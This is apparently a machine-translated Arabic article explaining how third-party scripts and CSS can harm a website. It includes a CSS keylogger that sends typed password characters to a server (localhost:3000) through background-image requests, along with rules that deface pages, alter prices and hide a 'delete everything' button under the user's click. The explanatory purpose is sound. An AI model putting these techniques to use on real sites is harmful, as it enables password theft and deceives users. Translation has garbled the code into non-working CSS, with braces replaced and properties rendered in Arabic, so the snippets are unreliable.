قائمة طعام
مجاني
التسجيل
الصفحة الرئيسية  /  البرامج/ توزيع مقالات على الإنترنت. الخيارات وخصائصها

توزيع المقالات على الإنترنت. الخيارات وخصائصها

إليك كيفية إلحاق الضرر بموقعك باستخدام CSS وجافا سكريبت وموارد أخرى من خوادم الجهات الخارجية.

في نهاية فبراير ، ظهر راصد لوحة مفاتيح على الشبكة ، جزئيًا باستخدام CSS. الهجوم باستخدامه بسيط: لكل حرف يتم إدخاله في حقل بنوع معين (على سبيل المثال ، كلمة المرور) ، يتم إنشاء طلب إلى خادم جهة خارجية ، يُزعم أنه يطلب صورة خلفية:

الإدخال (صورة الخلفية: url ("http: // localhost: 3000 / a") ؛)

الخلفية - الصورة: url ("http: // localhost: 3000 / a") ؛

على الخادم ، يمكن تسجيل تسلسل الطلبات ويمكن حساب كلمة المرور التي تم إدخالها بسهولة.

أثناء مناقشة المشكلة ، اقترح البعض على الشركات المصنعة للمتصفح إصلاحها. لاحظ شخص ما أن المشكلة تتعلق فقط بالمواقع التي تستند إلى أطر عمل تشبه React ، وحوّل اللوم إليها.

صور الطرف الثالث

< img src = "https://example.com/kitten.jpg">

إذا أضفت هذا النوع من الصور إلى موقعك ، فستعتمد على example.com. يمكنهم إعدادك طرق مختلفةعلى سبيل المثال ، احذف صورة - ستحصل على 404 بدلاً من صورة. أو يمكنهم ببساطة استبدال صورة قطة بشيء أقل متعة.

يمكنك تحذير المستخدمين من أن الصورة قد تمت إضافتها من مصدر تابع لجهة خارجية ولا علاقة لك بها. لذلك سوف تحمي نفسك قليلاً من المتاعب. لكن ، بالطبع ، عند إضافة صورة بسيطة ، فإنك لا توفر الوصول إلى كلمات المرور.

نصوص الطرف الثالث

يعد هذا المثال أكثر تشويقًا بالنسبة لـ example.com ، لأنه من خلال إضافة نص برمجي من موقعهم ، فإنك تمنحهم مزيدًا من التحكم في موقعهم. في هذه الحالة ، يمكن لـ example.com:

  • قراءة / تغيير محتوى الصفحة.
  • تتبع كل إجراءات المستخدم.
  • قم بتشغيل التعليمات البرمجية التي يصعب حسابها (على سبيل المثال ، برنامج التشفير).
  • طلب ملفات تعريف الارتباط.
  • قراءة / تعديل التخزين المحلي.

بعبارة أخرى ، يمكن لـ example.com الآن فعل الكثير.

سيؤدي التفاعل مع التخزين المحلي إلى ظهور المزيد من التحديات في المستقبل. سيتمكن مورد الجهة الخارجية من الوصول إلى موقعك حتى بعد إزالة النص البرمجي من الصفحة. إذا قمت بإضافة برنامج نصي تابع لجهة خارجية إلى موقعك ، فيجب أن تثق تمامًا بالمصدر وأمانه.

إذا كنت لا تزال تواجه برنامجًا نصيًا سيئًا ، فحاول استخدام رأس Clear-Site-Data.

الطرف الثالث CSS

< link rel = "stylesheet" href = "https://example.com/style.css">

يقع كود CSS لجهة خارجية للتأثير على الموقع بين الصورة والبرنامج النصي. يمكن لـ CSS لشخص آخر:

  • إزالة / تغيير / إضافة محتوى على الصفحة.
  • قدم طلبات بناءً على محتوى الصفحة.
  • الرد على العديد من إجراءات المستخدم.

لن يكون CSS قادرًا على التفاعل مع التخزين المحلي ولن يقوم برنامج التشفير بتضمينه في الصفحة ، ولكن يمكن أن يلحق الكثير من الضرر بمالك المورد.

كلوغر

تعديل CSS قليلاً من بداية المقال:

الإدخال (صورة الخلفية: url ("/ password؟ a") ؛)

إدخال [نوع = "كلمة المرور"] [قيمة $ = "أ"] (

الخلفية - الصورة: url ("/ password؟ a") ؛

سيرسل هذا الرمز بيانات حول الحرف الذي تم إدخاله "أ" إلى المعالج تحت ستار طلب صورة. كرر الرمز لكل رمز ولديك بالفعل CSS keylogger.

بشكل افتراضي ، لا تخزن المستعرضات الأحرف التي أدخلها المستخدم في سمة القيمة ، لذلك ستعمل هذه الخدعة عند استخدام شيء يزامن هذه القيم ، مثل.

بالطبع ، يمكن حل هذه المشكلة من جانب React والأطر المماثلة. ولكن بعد ذلك فقط حالة محددةوستبقى بقية المشاكل.

محتوى يختفي

body (display: none؛) html :: after (content: "HTTP Server Error" ؛)

هيئة (

عرض لا شيء؛

html :: بعد (

المحتوى: "خطأ خادم HTTP" ؛

هذا ، بالطبع ، مثال غريب للغاية ، لكنه لا يزال مثالًا عمليًا. تخيل إذا كان المستخدمون لديك ، عند دخولهم إلى الموقع ، سيرون بدلاً من المعتاد الصفحة الرئيسيةخطأ غير مفهوم. وبنفس الطريقة ، يمكن لرمز الجهة الخارجية إزالة ، على سبيل المثال ، زر "شراء" أو إحداث بعض الإزعاج الآخر.

إضافة المحتوى

قيمة السعر :: قبل (المحتوى: "1" ؛)

السعر - القيمة :: قبل (

المحتوى: "1" ؛

وبهذه الطريقة ، ارتفعت أسعارك بشكل كبير.

نقل المحتوى

زر حذف كل شيء (عتامة: 0 ؛ الموضع: مطلق ؛ أعلى: 500 بكسل ؛ يسار: 300 بكسل ؛)

حذف - كل شيء - زر (

العتامة: 0؛

الموقف: مطلق.

أعلى: 500 بكسل ؛

اليسار: 300 بكسل ؛

خذ زرًا يفعل شيئًا فظيعًا وأن المستخدم لن ينقر فقط ، اجعله شفافًا وضعه في المكان الذي سينقر عليه المستخدم.

بالطبع ، إذا فعل الزر شيئًا مهمًا حقًا ، فسيرى المستخدم مربع حوار تحذير أولاً. لكن هذه ليست مشكلة أيضًا: فأنت تحتاج فقط إلى المزيد من CSS. على سبيل المثال ، يمكنك تغيير محتوى الزر "يا إلهي ، لا!" إلى "بالطبع ، أنا متأكد."

تخيل أن صانعي المتصفح قاموا بتعديل خدعة راصد لوحة المفاتيح. يضع المهاجمون حقلاً نصيًا إضافيًا أعلى حقل كلمة مرور مهم ويعودون إلى العمل.

سمات القراءة

لا يتم بالضرورة تخزين كلمات المرور في القيمة والسمات الأخرى: قد يجد المهاجم شيئًا آخر مثيرًا للاهتمام.